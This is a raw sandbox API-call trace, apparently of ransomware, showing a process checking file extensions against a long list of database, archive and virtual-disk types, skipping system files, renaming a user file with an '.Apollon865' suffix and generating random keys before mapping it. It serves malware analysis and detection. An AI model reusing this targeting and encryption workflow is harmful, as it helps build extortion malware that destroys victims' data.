	[0053.224] lstrlenW (lpString="owc") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.224] lstrlenW (lpString="p96") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.224] lstrlenW (lpString="p97") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.224] lstrlenW (lpString="pan") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.224] lstrlenW (lpString="pdb") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.224] lstrlenW (lpString="pdm") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.224] lstrlenW (lpString="pnz") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.224] lstrlenW (lpString="qry") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.224] lstrlenW (lpString="qvd") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.224] lstrlenW (lpString="rbf") returned 3
	[0053.225] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.225] lstrlenW (lpString="rctd") returned 4
	[0053.225] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.225] lstrlenW (lpString="rod") returned 3
	[0053.225] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.225] lstrlenW (lpString="rodx") returned 4
	[0053.225] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.225] lstrlenW (lpString="rpd") returned 3
	[0053.225] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.225] lstrlenW (lpString="rsd") returned 3
	[0053.225] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.225] lstrlenW (lpString="sas7bdat") returned 8
	[0053.225] lstrcmpiW (lpString1="ment.url", lpString2="sas7bdat") returned -1
	[0053.225] lstrlenW (lpString="sbf") returned 3
	[0053.225] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.225] lstrlenW (lpString="scx") returned 3
	[0053.225] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.225] lstrlenW (lpString="sdb") returned 3
	[0053.225] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.225] lstrlenW (lpString="sdc") returned 3
	[0053.225] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.225] lstrlenW (lpString="sdf") returned 3
	[0053.225] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.225] lstrlenW (lpString="sis") returned 3
	[0053.225] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.225] lstrlenW (lpString="spq") returned 3
	[0053.225] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.225] lstrlenW (lpString="te") returned 2
	[0053.225] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.225] lstrlenW (lpString="teacher") returned 7
	[0053.225] lstrcmpiW (lpString1="ent.url", lpString2="teacher") returned -1
	[0053.225] lstrlenW (lpString="tmd") returned 3
	[0053.225] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.225] lstrlenW (lpString="tps") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.226] lstrlenW (lpString="trc") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.226] lstrlenW (lpString="trc") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.226] lstrlenW (lpString="trm") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.226] lstrlenW (lpString="udb") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.226] lstrlenW (lpString="udl") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.226] lstrlenW (lpString="usr") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.226] lstrlenW (lpString="v12") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.226] lstrlenW (lpString="vis") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.226] lstrlenW (lpString="vpd") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.226] lstrlenW (lpString="vvv") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.226] lstrlenW (lpString="wdb") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.226] lstrlenW (lpString="wmdb") returned 4
	[0053.226] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.226] lstrlenW (lpString="wrk") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.226] lstrlenW (lpString="xdb") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.226] lstrlenW (lpString="xld") returned 3
	[0053.226] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.226] lstrlenW (lpString="xmlff") returned 5
	[0053.226] lstrcmpiW (lpString1="t.url", lpString2="xmlff") returned -1
	[0053.226] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url.Apollon865") returned 72
	[0053.227] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url.apollon865"), dwFlags=0x1) returned 1
	[0053.228] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.228] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0053.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.228] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0053.229] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.229] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.229] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0xc0
	[0053.231] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.232] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0053.232] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.232] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.233] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.233] CloseHandle (hObject=0xc0) returned 1
	[0053.233] CloseHandle (hObject=0x118) returned 1
	[0053.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.234] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2=".") returned 1
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2="..") returned 1
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2="windows") returned -1
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2="bootmgr") returned 1
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2="temp") returned -1
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2="pagefile.sys") returned -1
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2="boot") returned 1
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2="ids.txt") returned 1
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2="ntuser.dat") returned -1
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2="perflogs") returned -1
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2="MSBuild") returned 1
	[0053.234] lstrlenW (lpString="MSN Money.url") returned 13
	[0053.234] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url") returned 61
	[0053.234] lstrcpyW (in: lpString1=0x119e658, lpString2="MSN Money.url" | out: lpString1="MSN Money.url") returned="MSN Money.url"
	[0053.234] lstrlenW (lpString="MSN Money.url") returned 13
	[0053.234] lstrlenW (lpString="Apollon865") returned 10
	[0053.234] lstrcmpiW (lpString1=" Money.url", lpString2="Apollon865") returned -1
	[0053.234] lstrlenW (lpString=".dll") returned 4
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2=".dll") returned 1
	[0053.234] lstrlenW (lpString=".lnk") returned 4
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2=".lnk") returned 1
	[0053.234] lstrlenW (lpString=".ini") returned 4
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2=".ini") returned 1
	[0053.234] lstrlenW (lpString=".sys") returned 4
	[0053.234] lstrcmpiW (lpString1="MSN Money.url", lpString2=".sys") returned 1
	[0053.234] lstrlenW (lpString="MSN Money.url") returned 13
	[0053.234] lstrlenW (lpString="bak") returned 3
	[0053.234] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.234] lstrlenW (lpString="ba_") returned 3
	[0053.234] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.235] lstrlenW (lpString="dbb") returned 3
	[0053.235] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.235] lstrlenW (lpString="vmdk") returned 4
	[0053.235] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.235] lstrlenW (lpString="rar") returned 3
	[0053.235] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.235] lstrlenW (lpString="zip") returned 3
	[0053.235] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.235] lstrlenW (lpString="tgz") returned 3
	[0053.235] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.235] lstrlenW (lpString="vbox") returned 4
	[0053.235] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.235] lstrlenW (lpString="vdi") returned 3
	[0053.235] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.235] lstrlenW (lpString="vhd") returned 3
	[0053.235] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.235] lstrlenW (lpString="vhdx") returned 4
	[0053.235] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.235] lstrlenW (lpString="avhd") returned 4
	[0053.235] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.235] lstrlenW (lpString="db") returned 2
	[0053.235] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.235] lstrlenW (lpString="db2") returned 3
	[0053.235] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.235] lstrlenW (lpString="db3") returned 3
	[0053.235] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.235] lstrlenW (lpString="dbf") returned 3
	[0053.235] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.235] lstrlenW (lpString="mdf") returned 3
	[0053.235] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.235] lstrlenW (lpString="mdb") returned 3
	[0053.235] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.235] lstrlenW (lpString="sql") returned 3
	[0053.235] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.235] lstrlenW (lpString="sqlite") returned 6
	[0053.236] lstrcmpiW (lpString1="ey.url", lpString2="sqlite") returned -1
	[0053.236] lstrlenW (lpString="sqlite3") returned 7
	[0053.236] lstrcmpiW (lpString1="ney.url", lpString2="sqlite3") returned -1
	[0053.236] lstrlenW (lpString="sqlitedb") returned 8
	[0053.236] lstrcmpiW (lpString1="oney.url", lpString2="sqlitedb") returned -1
	[0053.236] lstrlenW (lpString="xml") returned 3
	[0053.236] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.236] lstrlenW (lpString="$er") returned 3
	[0053.236] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.236] lstrlenW (lpString="4dd") returned 3
	[0053.236] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.236] lstrlenW (lpString="4dl") returned 3
	[0053.236] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.236] lstrlenW (lpString="^^^") returned 3
	[0053.236] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.236] lstrlenW (lpString="abs") returned 3
	[0053.236] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.236] lstrlenW (lpString="abx") returned 3
	[0053.236] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.236] lstrlenW (lpString="accdb") returned 5
	[0053.236] lstrcmpiW (lpString1="y.url", lpString2="accdb") returned 1
	[0053.236] lstrlenW (lpString="accdc") returned 5
	[0053.236] lstrcmpiW (lpString1="y.url", lpString2="accdc") returned 1
	[0053.236] lstrlenW (lpString="accde") returned 5
	[0053.236] lstrcmpiW (lpString1="y.url", lpString2="accde") returned 1
	[0053.236] lstrlenW (lpString="accdr") returned 5
	[0053.236] lstrcmpiW (lpString1="y.url", lpString2="accdr") returned 1
	[0053.236] lstrlenW (lpString="accdt") returned 5
	[0053.236] lstrcmpiW (lpString1="y.url", lpString2="accdt") returned 1
	[0053.236] lstrlenW (lpString="accdw") returned 5
	[0053.236] lstrcmpiW (lpString1="y.url", lpString2="accdw") returned 1
	[0053.236] lstrlenW (lpString="accft") returned 5
	[0053.236] lstrcmpiW (lpString1="y.url", lpString2="accft") returned 1
	[0053.236] lstrlenW (lpString="adb") returned 3
	[0053.236] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.236] lstrlenW (lpString="adb") returned 3
	[0053.237] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.237] lstrlenW (lpString="ade") returned 3
	[0053.237] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.237] lstrlenW (lpString="adf") returned 3
	[0053.237] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.237] lstrlenW (lpString="adn") returned 3
	[0053.237] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.237] lstrlenW (lpString="adp") returned 3
	[0053.237] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.237] lstrlenW (lpString="alf") returned 3
	[0053.237] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.237] lstrlenW (lpString="ask") returned 3
	[0053.237] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.237] lstrlenW (lpString="btr") returned 3
	[0053.237] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.237] lstrlenW (lpString="cat") returned 3
	[0053.237] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.237] lstrlenW (lpString="cdb") returned 3
	[0053.237] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.237] lstrlenW (lpString="ckp") returned 3
	[0053.237] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.237] lstrlenW (lpString="cma") returned 3
	[0053.237] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.237] lstrlenW (lpString="cpd") returned 3
	[0053.237] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.237] lstrlenW (lpString="dacpac") returned 6
	[0053.237] lstrcmpiW (lpString1="ey.url", lpString2="dacpac") returned 1
	[0053.237] lstrlenW (lpString="dad") returned 3
	[0053.237] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.237] lstrlenW (lpString="dadiagrams") returned 10
	[0053.237] lstrcmpiW (lpString1=" Money.url", lpString2="dadiagrams") returned -1
	[0053.237] lstrlenW (lpString="daschema") returned 8
	[0053.237] lstrcmpiW (lpString1="oney.url", lpString2="daschema") returned 1
	[0053.237] lstrlenW (lpString="db-journal") returned 10
	[0053.238] lstrcmpiW (lpString1=" Money.url", lpString2="db-journal") returned -1
	[0053.238] lstrlenW (lpString="db-shm") returned 6
	[0053.238] lstrcmpiW (lpString1="ey.url", lpString2="db-shm") returned 1
	[0053.238] lstrlenW (lpString="db-wal") returned 6
	[0053.238] lstrcmpiW (lpString1="ey.url", lpString2="db-wal") returned 1
	[0053.238] lstrlenW (lpString="dbc") returned 3
	[0053.238] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.238] lstrlenW (lpString="dbs") returned 3
	[0053.238] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.238] lstrlenW (lpString="dbt") returned 3
	[0053.238] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.238] lstrlenW (lpString="dbv") returned 3
	[0053.238] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.238] lstrlenW (lpString="dbx") returned 3
	[0053.238] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.238] lstrlenW (lpString="dcb") returned 3
	[0053.238] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.238] lstrlenW (lpString="dct") returned 3
	[0053.238] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.238] lstrlenW (lpString="dcx") returned 3
	[0053.238] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.238] lstrlenW (lpString="ddl") returned 3
	[0053.238] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.238] lstrlenW (lpString="dlis") returned 4
	[0053.238] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.238] lstrlenW (lpString="dp1") returned 3
	[0053.238] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.238] lstrlenW (lpString="dqy") returned 3
	[0053.238] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.238] lstrlenW (lpString="dsk") returned 3
	[0053.238] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.238] lstrlenW (lpString="dsn") returned 3
	[0053.238] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.238] lstrlenW (lpString="dtsx") returned 4
	[0053.238] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.239] lstrlenW (lpString="dxl") returned 3
	[0053.239] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.239] lstrlenW (lpString="eco") returned 3
	[0053.239] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.239] lstrlenW (lpString="ecx") returned 3
	[0053.239] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.239] lstrlenW (lpString="edb") returned 3
	[0053.239] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.239] lstrlenW (lpString="epim") returned 4
	[0053.239] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.239] lstrlenW (lpString="fcd") returned 3
	[0053.239] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.239] lstrlenW (lpString="fdb") returned 3
	[0053.239] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.239] lstrlenW (lpString="fic") returned 3
	[0053.239] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.239] lstrlenW (lpString="flexolibrary") returned 12
	[0053.239] lstrcmpiW (lpString1="SN Money.url", lpString2="flexolibrary") returned 1
	[0053.239] lstrlenW (lpString="fm5") returned 3
	[0053.239] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.239] lstrlenW (lpString="fmp") returned 3
	[0053.239] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.239] lstrlenW (lpString="fmp12") returned 5
	[0053.239] lstrcmpiW (lpString1="y.url", lpString2="fmp12") returned 1
	[0053.239] lstrlenW (lpString="fmpsl") returned 5
	[0053.239] lstrcmpiW (lpString1="y.url", lpString2="fmpsl") returned 1
	[0053.239] lstrlenW (lpString="fol") returned 3
	[0053.239] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.239] lstrlenW (lpString="fp3") returned 3
	[0053.239] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.239] lstrlenW (lpString="fp4") returned 3
	[0053.239] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.239] lstrlenW (lpString="fp5") returned 3
	[0053.239] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.239] lstrlenW (lpString="fp7") returned 3
	[0053.240] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.240] lstrlenW (lpString="fpt") returned 3
	[0053.240] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.240] lstrlenW (lpString="frm") returned 3
	[0053.240] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.240] lstrlenW (lpString="gdb") returned 3
	[0053.240] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.240] lstrlenW (lpString="gdb") returned 3
	[0053.240] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.240] lstrlenW (lpString="grdb") returned 4
	[0053.240] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.240] lstrlenW (lpString="gwi") returned 3
	[0053.240] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.240] lstrlenW (lpString="hdb") returned 3
	[0053.240] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.240] lstrlenW (lpString="his") returned 3
	[0053.240] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.240] lstrlenW (lpString="ib") returned 2
	[0053.240] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.240] lstrlenW (lpString="idb") returned 3
	[0053.240] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.240] lstrlenW (lpString="ihx") returned 3
	[0053.240] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.240] lstrlenW (lpString="itdb") returned 4
	[0053.240] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.240] lstrlenW (lpString="itw") returned 3
	[0053.240] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.240] lstrlenW (lpString="jet") returned 3
	[0053.240] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.240] lstrlenW (lpString="jtx") returned 3
	[0053.240] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.240] lstrlenW (lpString="kdb") returned 3
	[0053.240] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.240] lstrlenW (lpString="kexi") returned 4
	[0053.240] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.241] lstrlenW (lpString="kexic") returned 5
	[0053.241] lstrcmpiW (lpString1="y.url", lpString2="kexic") returned 1
	[0053.241] lstrlenW (lpString="kexis") returned 5
	[0053.241] lstrcmpiW (lpString1="y.url", lpString2="kexis") returned 1
	[0053.241] lstrlenW (lpString="lgc") returned 3
	[0053.241] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.241] lstrlenW (lpString="lwx") returned 3
	[0053.241] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.241] lstrlenW (lpString="maf") returned 3
	[0053.241] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.241] lstrlenW (lpString="maq") returned 3
	[0053.241] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.241] lstrlenW (lpString="mar") returned 3
	[0053.241] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.241] lstrlenW (lpString="marshal") returned 7
	[0053.241] lstrcmpiW (lpString1="ney.url", lpString2="marshal") returned 1
	[0053.241] lstrlenW (lpString="mas") returned 3
	[0053.241] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.241] lstrlenW (lpString="mav") returned 3
	[0053.241] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.241] lstrlenW (lpString="maw") returned 3
	[0053.241] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.241] lstrlenW (lpString="mdbhtml") returned 7
	[0053.241] lstrcmpiW (lpString1="ney.url", lpString2="mdbhtml") returned 1
	[0053.241] lstrlenW (lpString="mdn") returned 3
	[0053.241] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.241] lstrlenW (lpString="mdt") returned 3
	[0053.241] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.241] lstrlenW (lpString="mfd") returned 3
	[0053.241] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.241] lstrlenW (lpString="mpd") returned 3
	[0053.241] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.241] lstrlenW (lpString="mrg") returned 3
	[0053.241] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.241] lstrlenW (lpString="mud") returned 3
	[0053.242] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.242] lstrlenW (lpString="mwb") returned 3
	[0053.242] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.242] lstrlenW (lpString="myd") returned 3
	[0053.242] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.242] lstrlenW (lpString="ndf") returned 3
	[0053.242] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.242] lstrlenW (lpString="nnt") returned 3
	[0053.242] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.242] lstrlenW (lpString="nrmlib") returned 6
	[0053.242] lstrcmpiW (lpString1="ey.url", lpString2="nrmlib") returned -1
	[0053.242] lstrlenW (lpString="ns2") returned 3
	[0053.242] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.242] lstrlenW (lpString="ns3") returned 3
	[0053.242] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.242] lstrlenW (lpString="ns4") returned 3
